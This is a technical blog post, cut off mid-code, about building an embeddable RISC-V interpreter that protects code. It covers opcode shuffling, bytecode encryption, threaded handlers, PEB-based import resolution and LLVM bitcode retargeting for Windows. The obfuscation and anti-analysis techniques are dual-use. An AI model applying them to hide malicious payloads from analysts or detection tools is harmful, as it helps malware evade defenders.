Normal view

There are new articles available, click to refresh the page.
Before yesterdaysecret club

RISC-Y Business: Raging against the reduced machine

24 December 2023 at 11:00

Abstract

In recent years the interest in obfuscation has increased, mainly because people want to protect their intellectual property. Unfortunately, most of what’s been written is focused on the theoretical aspects. In this article, we will discuss the practical engineering challenges of developing a low-footprint virtual machine interpreter. The VM is easily embeddable, built on open-source technology and has various hardening features that were achieved with minimal effort.

Introduction

In addition to protecting intellectual property, a minimal virtual machine can be useful for other reasons. You might want to have an embeddable interpreter to execute business logic (shellcode), without having to deal with RWX memory. It can also be useful as an educational tool, or just for fun.

Creating a custom VM architecture (similar to VMProtect/Themida) means that we would have to deal with binary rewriting/lifting or write our own compiler. Instead, we decided to use a preexisting architecture, which would be supported by LLVM: RISC-V. This architecture is already widely used for educational purposes and has the advantage of being very simple to understand and implement.

Initially, the main contender was WebAssembly. However, existing interpreters were very bloated and would also require dealing with a binary format. Additionally, it looks like WASM64 is very underdeveloped and our memory model requires 64-bit pointer support. SPARC and PowerPC were also considered, but RISC-V seems to be more popular and there are a lot more resources available for it.

WebAssembly was designed for sandboxing and therefore strictly separates guest and host memory. Because we will be writing our own RISC-V interpreter, we chose to instead share memory between the guest and the host. This means that pointers in the RISC-V execution context (the guest) are valid in the host process and vice-versa.

As a result, the instructions responsible for reading/writing memory can be implemented as a simple memcpy call and we do not need additional code to translate/validate memory accesses (which helps with our goal of small code size). With this property, we need to implement only two system calls to perform arbitrary operations in the host process:

uintptr_t riscvm_get_peb();
uintptr_t riscvm_host_call(uintptr_t rip, uintptr_t args[13]);

The riscvm_get_peb is Windows-specific and it allows us to resolve exports, which we can then pass to the riscvm_host_call function to execute arbitrary code. Additionally, an optional host_syscall stub could be implemented, but this is not strictly necessary since we can just call the functions in ntdll.dll instead.

Toolchain and CRT

To keep the interpreter footprint as low as possible, we decided to develop a toolchain that outputs a freestanding binary. The goal is to copy this binary into memory and point the VM’s program counter there to start execution. Because we are in freestanding mode, there is no C runtime available to us, this requires us to handle initialization ourselves.

As an example, we will use the following hello.c file:

int _start() {
    int result = 0;
    for(int i = 0; i < 52; i++) {
        result += *(volatile int*)&i;
    }
    return result + 11;
}

We compile the program with the following incantation:

clang -target riscv64 -march=rv64im -mcmodel=medany -Os -c hello.c -o hello.o

And then verify by disassembling the object:

$ llvm-objdump --disassemble hello.o

hello.o:        file format elf64-littleriscv

0000000000000000 <_start>:
       0: 13 01 01 ff   addi    sp, sp, -16
       4: 13 05 00 00   li      a0, 0
       8: 23 26 01 00   sw      zero, 12(sp)
       c: 93 05 30 03   li      a1, 51

0000000000000010 <.LBB0_1>:
      10: 03 26 c1 00   lw      a2, 12(sp)
      14: 33 05 a6 00   add     a0, a2, a0
      18: 9b 06 16 00   addiw   a3, a2, 1
      1c: 23 26 d1 00   sw      a3, 12(sp)
      20: 63 40 b6 00   blt     a2, a1, 0x20 <.LBB0_1+0x10>
      24: 1b 05 b5 00   addiw   a0, a0, 11
      28: 13 01 01 01   addi    sp, sp, 16
      2c: 67 80 00 00   ret

The hello.o is a regular ELF object file. To get a freestanding binary we need to invoke the linker with a linker script:

ENTRY(_start)

LINK_BASE = 0x8000000;

SECTIONS
{
    . = LINK_BASE;
    __base = .;

    .text : ALIGN(16) {
        . = LINK_BASE;
        *(.text)
        *(.text.*)
    }

    .data : {
        *(.rodata)
        *(.rodata.*)
        *(.data)
        *(.data.*)
        *(.eh_frame)
    }

    .init : {
        __init_array_start = .;
        *(.init_array)
        __init_array_end = .;
    }

    .bss : {
        *(.bss)
        *(.bss.*)
        *(.sbss)
        *(.sbss.*)
    }

    .relocs : {
        . = . + SIZEOF(.bss);
        __relocs_start = .;
    }
}

This script is the result of an excessive amount of swearing and experimentation. The format is .name : { ... } where .name is the destination section and the stuff in the brackets is the content to paste in there. The special . operator is used to refer to the current position in the binary and we define a few special symbols for use by the runtime:

Symbol Meaning
__base Base of the executable.
__init_array_start Start of the C++ init arrays.
__init_array_end End of the C++ init arrays.
__relocs_start Start of the relocations (end of the binary).

These symbols are declared as extern in the C code and they will be resolved at link-time. While it may seem confusing at first that we have a destination section, it starts to make sense once you realize the linker has to output a regular ELF executable. That ELF executable is then passed to llvm-objcopy to create the freestanding binary blob. This makes debugging a whole lot easier (because we get DWARF symbols) and since we will not implement an ELF loader, it also allows us to extract the relocations for embedding into the final binary.

To link the intermediate ELF executable and then create the freestanding hello.pre.bin:

ld.lld.exe -o hello.elf --oformat=elf -emit-relocs -T ..\lib\linker.ld --Map=hello.map hello.o
llvm-objcopy -O binary hello.elf hello.pre.bin

For debugging purposes we also output hello.map, which tells us exactly where the linker put the code/data:

             VMA              LMA     Size Align Out     In      Symbol
               0                0        0     1 LINK_BASE = 0x8000000
               0                0  8000000     1 . = LINK_BASE
         8000000                0        0     1 __base = .
         8000000          8000000       30    16 .text
         8000000          8000000        0     1         . = LINK_BASE
         8000000          8000000       30     4         hello.o:(.text)
         8000000          8000000       30     1                 _start
         8000010          8000010        0     1                 .LBB0_1
         8000030          8000030        0     1 .init
         8000030          8000030        0     1         __init_array_start = .
         8000030          8000030        0     1         __init_array_end = .
         8000030          8000030        0     1 .relocs
         8000030          8000030        0     1         . = . + SIZEOF ( .bss )
         8000030          8000030        0     1         __relocs_start = .
               0                0       18     8 .rela.text
               0                0       18     8         hello.o:(.rela.text)
               0                0       3b     1 .comment
               0                0       3b     1         <internal>:(.comment)
               0                0       30     1 .riscv.attributes
               0                0       30     1         <internal>:(.riscv.attributes)
               0                0      108     8 .symtab
               0                0      108     8         <internal>:(.symtab)
               0                0       55     1 .shstrtab
               0                0       55     1         <internal>:(.shstrtab)
               0                0       5c     1 .strtab
               0                0       5c     1         <internal>:(.strtab)

The final ingredient of the toolchain is a small Python script (relocs.py) that extracts the relocations from the ELF file and appends them to the end of the hello.pre.bin. The custom relocation format only supports R_RISCV_64 and is resolved by our CRT like so:

typedef struct
{
    uint8_t  type;
    uint32_t offset;
    int64_t  addend;
} __attribute__((packed)) Relocation;

extern uint8_t __base[];
extern uint8_t __relocs_start[];

#define LINK_BASE    0x8000000
#define R_RISCV_NONE 0
#define R_RISCV_64   2

static __attribute((noinline)) void riscvm_relocs()
{
    if (*(uint32_t*)__relocs_start != 'ALER')
    {
        asm volatile("ebreak");
    }

    uintptr_t load_base = (uintptr_t)__base;

    for (Relocation* itr = (Relocation*)(__relocs_start + sizeof(uint32_t)); itr->type != R_RISCV_NONE; itr++)
    {
        if (itr->type == R_RISCV_64)
        {
            uint64_t* ptr = (uint64_t*)((uintptr_t)itr->offset - LINK_BASE + load_base);
            *ptr -= LINK_BASE;
            *ptr += load_base;
        }
        else
        {
            asm volatile("ebreak");
        }
    }
}

As you can see, the __base and __relocs_start magic symbols are used here. The only reason this works is the -mcmodel=medany we used when compiling the object. You can find more details in this article and in the RISC-V ELF Specification. In short, this flag allows the compiler to assume that all code will be emitted in a 2 GiB address range, which allows more liberal PC-relative addressing. The R_RISCV_64 relocation type gets emitted when you put pointers in the .data section:

void* functions[] = {
    &function1,
    &function2,
};

This also happens when using vtables in C++, and we wanted to support these properly early on, instead of having to fight with horrifying bugs later.

The next piece of the CRT involves the handling of the init arrays (which get emitted by global instances of classes that have a constructor):

typedef void (*InitFunction)();
extern InitFunction __init_array_start;
extern InitFunction __init_array_end;

static __attribute((optnone)) void riscvm_init_arrays()
{
    for (InitFunction* itr = &__init_array_start; itr != &__init_array_end; itr++)
    {
        (*itr)();
    }
}

Frustratingly, we were not able to get this function to generate correct code without the __attribute__((optnone)). We suspect this has to do with aliasing assumptions (the start/end can technically refer to the same memory), but we didn’t investigate this further.

Interpreter internals

Note: the interpreter was initially based on riscvm.c by edubart. However, we have since completely rewritten it in C++ to better suit our purpose.

Based on the RISC-V Calling Conventions document, we can create an enum for the 32 registers:

enum RegIndex
{
    reg_zero, // always zero (immutable)
    reg_ra,   // return address
    reg_sp,   // stack pointer
    reg_gp,   // global pointer
    reg_tp,   // thread pointer
    reg_t0,   // temporary
    reg_t1,
    reg_t2,
    reg_s0,   // callee-saved
    reg_s1,
    reg_a0,   // arguments
    reg_a1,
    reg_a2,
    reg_a3,
    reg_a4,
    reg_a5,
    reg_a6,
    reg_a7,
    reg_s2,   // callee-saved
    reg_s3,
    reg_s4,
    reg_s5,
    reg_s6,
    reg_s7,
    reg_s8,
    reg_s9,
    reg_s10,
    reg_s11,
    reg_t3,   // temporary
    reg_t4,
    reg_t5,
    reg_t6,
};

We just need to add a pc register and we have the structure to represent the RISC-V CPU state:

struct riscvm
{
    int64_t  pc;
    uint64_t regs[32];
};

It is important to keep in mind that the zero register is always set to 0 and we have to prevent writes to it by using a macro:

#define reg_write(idx, value)        \
    do                               \
    {                                \
        if (LIKELY(idx != reg_zero)) \
        {                            \
            self->regs[idx] = value; \
        }                            \
    } while (0)

The instructions (ignoring the optional compression extension) are always 32-bits in length and can be cleanly expressed as a union:

union Instruction
{
    struct
    {
        uint32_t compressed_flags : 2;
        uint32_t opcode           : 5;
        uint32_t                  : 25;
    };

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t funct7 : 7;
    } rtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t shamt  : 1;
        uint32_t imm    : 6;
    } rwtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t imm    : 12;
    } itype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t imm    : 20;
    } utype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t imm12  : 8;
        uint32_t imm11  : 1;
        uint32_t imm1   : 10;
        uint32_t imm20  : 1;
    } ujtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t imm5   : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t imm7   : 7;
    } stype;

    struct
    {
        uint32_t opcode   : 7;
        uint32_t imm_11   : 1;
        uint32_t imm_1_4  : 4;
        uint32_t funct3   : 3;
        uint32_t rs1      : 5;
        uint32_t rs2      : 5;
        uint32_t imm_5_10 : 6;
        uint32_t imm_12   : 1;
    } sbtype;

    int16_t  chunks16[2];
    uint32_t bits;
};
static_assert(sizeof(Instruction) == sizeof(uint32_t), "");

There are 13 top-level opcodes (Instruction.opcode) and some of those opcodes have another field that further specializes the functionality (i.e. Instruction.itype.funct3). To keep the code readable, the enumerations for the opcode are defined in opcodes.h. The interpreter is structured to have handler functions for the top-level opcode in the following form:

bool handler_rv64_<opcode>(riscvm_ptr self, Instruction inst);

As an example, we can look at the handler for the lui instruction (note that the handlers themselves are responsible for updating pc):

ALWAYS_INLINE static bool handler_rv64_lui(riscvm_ptr self, Instruction inst)
{
    int64_t imm = bit_signer(inst.utype.imm, 20) << 12;
    reg_write(inst.utype.rd, imm);

    self->pc += 4;
    dispatch(); // return true;
}

The interpreter executes until one of the handlers returns false, indicating the CPU has to halt:

void riscvm_run(riscvm_ptr self)
{
    while (true)
    {
        Instruction inst;
        inst.bits = *(uint32_t*)self->pc;
        if (!riscvm_execute_handler(self, inst))
            break;
    }
}

Plenty of articles have been written about the semantics of RISC-V, so you can look at the source code if you’re interested in the implementation details of individual instructions. The structure of the interpreter also allows us to easily implement obfuscation features, which we will discuss in the next section.

For now, we will declare the handler functions as __attribute__((always_inline)) and set the -fno-jump-tables compiler option, which gives us a riscvm_run function that (comfortably) fits into a single page (0xCA4 bytes):

interpreter control flow graph

Hardening features

A regular RISC-V interpreter is fun, but an attacker can easily reverse engineer our payload by throwing it into Ghidra to decompile it. To force the attacker to at least look at our VM interpreter, we implemented a few security features. These features are implemented in a Python script that parses the linker MAP file and directly modifies the opcodes: encrypt.py.

Opcode shuffling

The most elegant (and likely most effective) obfuscation is to simply reorder the enums of the instruction opcodes and sub-functions. The shuffle.py script is used to generate shuffled_opcodes.h, which is then included into riscvm.h instead of opcodes.h to mix the opcodes:

#ifdef OPCODE_SHUFFLING
#warning Opcode shuffling enabled
#include "shuffled_opcodes.h"
#else
#include "opcodes.h"
#endif // OPCODE_SHUFFLING

There is also a shuffled_opcodes.json file generated, which is parsed by encrypt.py to know how to shuffle the assembled instructions.

Because enums are used for all the opcodes, we only need to recompile the interpreter to obfuscate it; there is no additional complexity cost in the implementation.

Bytecode encryption

To increase diversity between payloads for the same VM instance, we also employ a simple ‘encryption’ scheme on top of the opcode:

ALWAYS_INLINE static uint32_t tetra_twist(uint32_t input)
{
    /**
     * Custom hash function that is used to generate the encryption key.
     * This has strong avalanche properties and is used to ensure that
     * small changes in the input result in large changes in the output.
     */

    constexpr uint32_t prime1 = 0x9E3779B1; // a large prime number

    input ^= input >> 15;
    input *= prime1;
    input ^= input >> 12;
    input *= prime1;
    input ^= input >> 4;
    input *= prime1;
    input ^= input >> 16;

    return input;
}

ALWAYS_INLINE static uint32_t transform(uintptr_t offset, uint32_t key)
{
    uint32_t key2 = key + offset;
    return tetra_twist(key2);
}

ALWAYS_INLINE static uint32_t riscvm_fetch(riscvm_ptr self)
{
    uint32_t data;
    memcpy(&data, (const void*)self->pc, sizeof(data));

#ifdef CODE_ENCRYPTION
    return data ^ transform(self->pc - self->base, self->key);
#else
    return data;
#endif // CODE_ENCRYPTION
}

The offset relative to the start of the bytecode is used as the seed to a simple transform function. The result of this function is XOR’d with the instruction data before decoding. The exact transformation doesn’t really matter, because an attacker can always observe the decrypted bytecode at runtime. However, static analysis becomes more difficult and pattern-matching the payload is prevented, all for a relatively small increase in VM implementation complexity.

It would be possible to encrypt the contents of the .data section of the payload as well, but we would have to completely decrypt it in memory before starting execution anyway. Technically, it would be also possible to implement a lazy encryption scheme by customizing the riscvm_read and riscvm_write functions to intercept reads/writes to the payload region, but this idea was not pursued further.

Threaded handlers

The most interesting feature of our VM is that we only need to make minor code modifications to turn it into a so-called threaded interpreter. Threaded code is a well-known technique used both to speed up emulators and to introduce indirect branches that complicate reverse engineering. It is called threading because the execution can be visualized as a thread of handlers that directly branch to the next handler. There is no classical dispatch function, with an infinite loop and a switch case for each opcode inside. The performance improves because there are fewer false-positives in the branch predictor when executing threaded code. You can find more information about threaded interpreters in the Dispatch Techniques section of the YETI paper.

The first step is to construct a handler table, where each handler is placed at the index corresponding to each opcode. To do this we use a small snippet of constexpr C++ code:

typedef bool (*riscvm_handler_t)(riscvm_ptr, Instruction);

static constexpr std::array<riscvm_handler_t, 32> riscvm_handlers = []
{
    // Pre-populate the table with invalid handlers
    std::array<riscvm_handler_t, 32> result = {};
    for (size_t i = 0; i < result.size(); i++)
    {
        result[i] = handler_rv64_invalid;
    }

    // Insert the opcode handlers at the right index
#define INSERT(op) result[op] = HANDLER(op)
    INSERT(rv64_load);
    INSERT(rv64_fence);
    INSERT(rv64_imm64);
    INSERT(rv64_auipc);
    INSERT(rv64_imm32);
    INSERT(rv64_store);
    INSERT(rv64_op64);
    INSERT(rv64_lui);
    INSERT(rv64_op32);
    INSERT(rv64_branch);
    INSERT(rv64_jalr);
    INSERT(rv64_jal);
    INSERT(rv64_system);
#undef INSERT
    return result;
}();

With the riscvm_handlers table populated we can define the dispatch macro:

#define dispatch()                                       \
    Instruction next;                                    \
    next.bits = riscvm_fetch(self);                      \
    if (next.compressed_flags != 0b11)                   \
    {                                                    \
        panic("compressed instructions not supported!"); \
    }                                                    \
    __attribute__((musttail)) return riscvm_handlers[next.opcode](self, next)

The musttail attribute forces the call to the next handler to be a tail call. This is only possible because all the handlers have the same function signature and it generates an indirect branch to the next handler:

threaded handler disassembly

The final piece of the puzzle is the new implementation of the riscvm_run function, which uses an empty riscvm_execute handler to bootstrap the chain of execution:

ALWAYS_INLINE static bool riscvm_execute(riscvm_ptr self, Instruction inst)
{
    dispatch();
}

NEVER_INLINE void riscvm_run(riscvm_ptr self)
{
    Instruction inst;
    riscvm_execute(self, inst);
}

Traditional obfuscation

The built-in hardening features that we can get with a few #ifdefs and a small Python script are good enough for a proof-of-concept, but they are not going to deter a determined attacker for a very long time. An attacker can pattern-match the VM’s handlers to simplify future reverse engineering efforts. To address this, we can employ common obfuscation techniques using LLVM obfuscation passes:

  • Instruction substitution (to make pattern matching more difficult)
  • Opaque predicates (to hinder static analysis)
  • Inject anti-debug checks (to make dynamic analysis more difficult)

The paper Modern obfuscation techniques by Roman Oravec gives a nice overview of literature and has good data on what obfuscation passes are most effective considering their runtime overhead.

Additionally, it would also be possible to further enhance the VM’s security by duplicating handlers, but this would require extra post-processing on the payload itself. The VM itself is only part of what could be obfuscated. Obfuscating the payloads themselves is also something we can do quite easily. Most likely, manually-integrated security features (stack strings with xorstr, lazy_importer and variable encryption) will be most valuable here. However, because we use LLVM to build the payloads we can also employ automated obfuscation there. It is important to keep in mind that any overhead created in the payloads themselves is multiplied by the overhead created by the handler obfuscation, so experimentation is required to find the sweet spot for your use case.

Writing the payloads

The VM described in this post so far technically has the ability to execute arbitrary code. That being said, it would be rather annoying for an end-user to write said code. For example, we would have to manually resolve all imports and then use the riscvm_host_call function to actually execute them. These functions are executing in the RISC-V context and their implementation looks like this:

uintptr_t riscvm_host_call(uintptr_t address, uintptr_t args[13])
{
    register uintptr_t a0 asm("a0") = address;
    register uintptr_t a1 asm("a1") = (uintptr_t)args;
    register uintptr_t a7 asm("a7") = 20000;
    asm volatile("scall" : "+r"(a0) : "r"(a1), "r"(a7));
    return a0;
}

uintptr_t riscvm_get_peb()
{
    register uintptr_t a0 asm("a0") = 0;
    register uintptr_t a7 asm("a7") = 20001;
    asm volatile("scall" : "+r"(a0) : "r"(a7) : "memory");
    return a0;
}

We can get a pointer to the PEB using riscvm_get_peb and then resolve a module by its’ x65599 hash:

// Structure definitions omitted for clarity
uintptr_t riscvm_resolve_dll(uint32_t module_hash)
{
    static PEB* peb = 0;
    if (!peb)
    {
        peb = (PEB*)riscvm_get_peb();
    }
    LIST_ENTRY* begin = &peb->Ldr->InLoadOrderModuleList;
    for (LIST_ENTRY* itr = begin->Flink; itr != begin; itr = itr->Flink)
    {
        LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(itr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
        if (entry->BaseNameHashValue == module_hash)
        {
            return (uintptr_t)entry->DllBase;
        }
    }
    return 0;
}

Once we’ve obtained the base of the module we’re interested in, we can resolve the import by walking the export table:

uintptr_t riscvm_resolve_import(uintptr_t image, uint32_t export_hash)
{
    IMAGE_DOS_HEADER*       dos_header      = (IMAGE_DOS_HEADER*)image;
    IMAGE_NT_HEADERS*       nt_headers      = (IMAGE_NT_HEADERS*)(image + dos_header->e_lfanew);
    uint32_t                export_dir_size = nt_headers->OptionalHeader.DataDirectory[0].Size;
    IMAGE_EXPORT_DIRECTORY* export_dir =
        (IMAGE_EXPORT_DIRECTORY*)(image + nt_headers->OptionalHeader.DataDirectory[0].VirtualAddress);
    uint32_t* names = (uint32_t*)(image + export_dir->AddressOfNames);
    uint32_t* funcs = (uint32_t*)(image + export_dir->AddressOfFunctions);
    uint16_t* ords  = (uint16_t*)(image + export_dir->AddressOfNameOrdinals);

    for (uint32_t i = 0; i < export_dir->NumberOfNames; ++i)
    {
        char*     name = (char*)(image + names[i]);
        uintptr_t func = (uintptr_t)(image + funcs[ords[i]]);
        // Ignore forwarded exports
        if (func >= (uintptr_t)export_dir && func < (uintptr_t)export_dir + export_dir_size)
            continue;
        uint32_t hash = hash_x65599(name, true);
        if (hash == export_hash)
        {
            return func;
        }
    }

    return 0;
}

Now we can call MessageBoxA from RISC-V with the following code:

// NOTE: We cannot use Windows.h here
#include <stdint.h>

int main()
{
    // Resolve LoadLibraryA
    auto kernel32_dll = riscvm_resolve_dll(hash_x65599("kernel32.dll", false))
    auto LoadLibraryA = riscvm_resolve_import(kernel32_dll, hash_x65599("LoadLibraryA", true))

    // Load user32.dll
    uint64_t args[13];
    args[0] = (uint64_t)"user32.dll";
    auto user32_dll = riscvm_host_call(LoadLibraryA, args);

    // Resolve MessageBoxA
    auto MessageBoxA = riscvm_resolve_import(user32_dll, hash_x65599("MessageBoxA", true));

    // Show a message to the user
    args[0] = 0; // hwnd
    args[1] = (uint64_t)"Hello from RISC-V!"; // msg
    args[2] = (uint64_t)"riscvm"; // title
    args[3] = 0; // flags
    riscvm_host_call(MessageBoxA, args);
}

With some templates/macros/constexpr tricks we can probably get this down to something more readable, but fundamentally this code will always stay annoying to write. Even if calling imports were a one-liner, we would still have to deal with the fact that we cannot use Windows.h (or any of the Microsoft headers for that matter). The reason for this is that we are cross-compiling with Clang. Even if we were to set up the include paths correctly, it would still be a major pain to get everything to compile correctly. That being said, our VM works! A major advantage of RISC-V is that, since the instruction set is simple, once the fundamentals work, we can be confident that features built on top of this will execute as expected.

Whole Program LLVM

Usually, when discussing LLVM, the compilation process is running on Linux/macOS. In this section, we will describe a pipeline that can actually be used on Windows, without making modifications to your toolchain. This is useful if you would like to analyze/fuzz/obfuscate Windows applications, which might only compile an MSVC-compatible compiler: clang-cl.

Link-time optimization (LTO)

Without LTO, the object files produced by Clang are native COFF/ELF/Mach-O files. Every file is optimized and compiled independently. The linker loads these objects and merges them together into the final executable.

When enabling LTO, the object files are instead LLVM Bitcode (.bc) files. This allows the linker to merge all the LLVM IR together and perform (more comprehensive) whole-program optimizations. After the LLVM IR has been optimized, the native code is generated and the final executable produced. The diagram below comes from the great Link-time optimisation (LTO) post by Ryan Stinnet:

LTO workflow

Compiler wrappers

Unfortunately, it can be quite annoying to write an executable that can replace the compiler. It is quite simple when dealing with a few object files, but with bigger projects it gets quite tricky (especially when CMake is involved). Existing projects are WLLVM and gllvm, but they do not work nicely on Windows. When using CMake, you can use the CMAKE_<LANG>_COMPILER_LAUNCHER variables and intercept the compilation pipeline that way, but that is also tricky to deal with.

On Windows, things are more complex than on Linux. This is because Clang uses a different program to link the final executable and correctly intercepting this process can become quite challenging.

Embedding bitcode

To achieve our goal of post-processing the bitcode of the whole program, we need to enable bitcode embedding. The first flag we need is -flto, which enables LTO. The second flag is -lto-embed-bitcode, which isn’t documented very well. When using clang-cl, you also need a special incantation to enable it:

set(EMBED_TYPE "post-merge-pre-opt") # post-merge-pre-opt/optimized
if(NOT CMAKE_CXX_COMPILER_ID MATCHES "Clang")
    if(WIN32)
        message(FATAL_ERROR "clang-cl is required, use -T ClangCL --fresh")
    else()
        message(FATAL_ERROR "clang compiler is required")
    endif()
elseif(CMAKE_CXX_COMPILER_FRONTEND_VARIANT MATCHES "^MSVC$")
    # clang-cl
    add_compile_options(-flto)
    add_link_options(/mllvm:-lto-embed-bitcode=${EMBED_TYPE})
elseif(WIN32)
    # clang (Windows)
    add_compile_options(-fuse-ld=lld-link -flto)
    add_link_options(-Wl,/mllvm:-lto-embed-bitcode=${EMBED_TYPE})
else()
	# clang (Linux)
    add_compile_options(-fuse-ld=lld -flto)
    add_link_options(-Wl,-lto-embed-bitcode=${EMBED_TYPE})
endif()

The -lto-embed-bitcode flag creates an additional .llvmbc section in the final executable that contains the bitcode. It offers three settings:

-lto-embed-bitcode=<value> - Embed LLVM bitcode in object files produced by LTO
    =none                  - Do not embed 
    =optimized             - Embed after all optimization passes
    =post-merge-pre-opt    - Embed post merge, but before optimizations

Once the bitcode is embedded within the output binary, it can be extracted using llvm-objcopy and disassembled with llvm-dis. This is normally done as the follows:

llvm-objcopy --dump-section=.llvmbc=program.bc program
llvm-dis program.bc > program.ll

Unfortunately, we discovered a bug/oversight in LLD on Windows. The section is extracted without errors, but llvm-dis fails to load the bitcode. The reason for this is that Windows executables have a FileAlignment attribute, leading to additional padding with zeroes. To get valid bitcode, you need to remove some of these trailing zeroes:

import argparse
import sys
import pefile

def main():
    # Parse the arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("executable", help="Executable with embedded .llvmbc section")
    parser.add_argument("--output", "-o", help="Output file name", required=True)
    args = parser.parse_args()
    executable: str = args.executable
    output: str = args.output

    # Find the .llvmbc section
    pe = pefile.PE(executable)
    llvmbc = None
    for section in pe.sections:
        if section.Name.decode("utf-8").strip("\x00") == ".llvmbc":
            llvmbc = section
            break
    if llvmbc is None:
        print("No .llvmbc section found")
        sys.exit(1)

    # Recover the bitcode and write it to a file
    with open(output, "wb") as f:
        data = bytearray(llvmbc.get_data())
        # Truncate all trailing null bytes
        while data[-1] == 0:
            data.pop()
        # Recover alignment to 4
        while len(data) % 4 != 0:
            data.append(0)
        # Add a block end marker
        for _ in range(4):
            data.append(0)
        f.write(data)

if __name__ == "__main__":
    main()

In our testing, this doesn’t have any issues, but there might be cases where this heuristic does not work properly. In that case, a potential solution could be to brute force the amount of trailing zeroes, until the bitcode parses without errors.

Applications

Now that we have access to our program’s bitcode, several applications become feasible:

  • Write an analyzer to identify potentially interesting locations within the program.
  • Instrument the bitcode and then re-link the executable, which is particularly useful for code coverage while fuzzing.
  • Obfuscate the bitcode before re-linking the executable, enhancing security.
  • IR retargeting, where the bitcode compiled for one architecture can be used on another.

Relinking the executable

The bitcode itself unfortunately does not contain enough information to re-link the executable (although this is something we would like to implement upstream). We could either manually attempt to reconstruct the linker command line (with tools like Process Monitor), or use LLVM plugin support. Plugin support is not really functional on Windows (although there is some indication that Sony is using it for their PS4/PS5 toolchain), but we can still load an arbitrary DLL using the -load command line flag. Once we loaded our DLL, we can hijack the executable command line and process the flags to generate a script for re-linking the program after our modifications are done.

Retargeting LLVM IR

Ideally, we would want to write code like this and magically get it to run in our VM:

#include <Windows.h>

int main()
{
    MessageBoxA(0, "Hello from RISC-V!", "riscvm", 0);
}

Luckily this is entirely possible, it just requires writing a (fairly) simple tool to perform transformations on the Bitcode of this program (built using clang-cl). In the coming sections, we will describe how we managed to do this using Microsoft Visual Studio’s official LLVM integration (i.e. without having to use a custom fork of clang-cl).

The LLVM IR of the example above looks roughly like this (it has been cleaned up slightly for readability):

source_filename = "hello.c"
target datalayout = "e-m:w-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-windows-msvc19.38.33133"

@message = dso_local global [19 x i8] c"Hello from RISC-V!\00", align 16
@title = dso_local global [7 x i8] c"riscvm\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = call i32 @MessageBoxA(ptr noundef null, ptr noundef @message, ptr noundef @title, i32 noundef 0)
  ret i32 0
}

declare dllimport i32 @MessageBoxA(ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1

attributes #0 = { noinline nounwind optnone uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }

!llvm.linker.options = !{!0, !0}
!llvm.module.flags = !{!1, !2, !3}
!llvm.ident = !{!4}

!0 = !{!"/DEFAULTLIB:uuid.lib"}
!1 = !{i32 1, !"wchar_size", i32 2}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 16.0.5"}

To retarget this code to RISC-V, we need to do the following:

  • Collect all the functions with a dllimport storage class.
  • Generate a riscvm_imports function that resolves all the function addresses of the imports.
  • Replace the dllimport functions with stubs that use riscvm_host_call to call the import.
  • Change the target triple to riscv64-unknown-unknown and adjust the data layout.
  • Compile the retargeted bitcode and link it together with crt0 to create the final payload.

Adjusting the metadata

After loading the LLVM IR Module, the first step is to change the DataLayout and the TargetTriple to be what the RISC-V backend expects:

module.setDataLayout("e-m:e-p:64:64-i64:64-i128:128-n32:64-S128");
module.setTargetTriple("riscv64-unknown-unknown");
module.setSourceFileName("transpiled.bc");

The next step is to collect all the dllimport functions for later processing. Additionally, a bunch of x86-specific function attributes are removed from every function:

std::vector<Function*> importedFunctions;
for (Function& function : module.functions())
{
	// Remove x86-specific function attributes
	function.removeFnAttr("target-cpu");
	function.removeFnAttr("target-features");
	function.removeFnAttr("tune-cpu");
	function.removeFnAttr("stack-protector-buffer-size");

	// Collect imported functions
	if (function.hasDLLImportStorageClass() && !function.getName().startswith("riscvm_"))
	{
		importedFunctions.push_back(&function);
	}
	function.setDLLStorageClass(GlobalValue::DefaultStorageClass);

Finally, we have to remove the llvm.linker.options metadata to make sure we can pass the IR to llc or clang without errors.

Import map

The LLVM IR only has the dllimport storage class to inform us that a function is imported. Unfortunately, it does not provide us with the DLL the function comes from. Because this information is only available at link-time (in files like user32.lib), we decided to implement an extra -importmap argument.

The extract-bc script that extracts the .llvmbc section now also has to extract the imported functions and what DLL they come from:

with open(importmap, "wb") as f:
	for desc in pe.DIRECTORY_ENTRY_IMPORT:
		dll = desc.dll.decode("utf-8")
		for imp in desc.imports:
			name = imp.name.decode("utf-8")
			f.write(f"{name}:{dll}\n".encode("utf-8"))

Currently, imports by ordinal and API sets are not supported, but we can easily make sure those do not occur when building our code.

Creating the import stubs

For every dllimport function, we need to add some IR to riscvm_imports to resolve the address. Additionally, we have to create a stub that forwards the function arguments to riscvm_host_call. This is the generated LLVM IR for the MessageBoxA stub:

; Global variable to hold the resolved import address
@import_MessageBoxA = private global ptr null

define i32 @MessageBoxA(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) local_unnamed_addr #1 {
entry:
  %args = alloca ptr, i32 13, align 8
  %arg3_zext = zext i32 %3 to i64
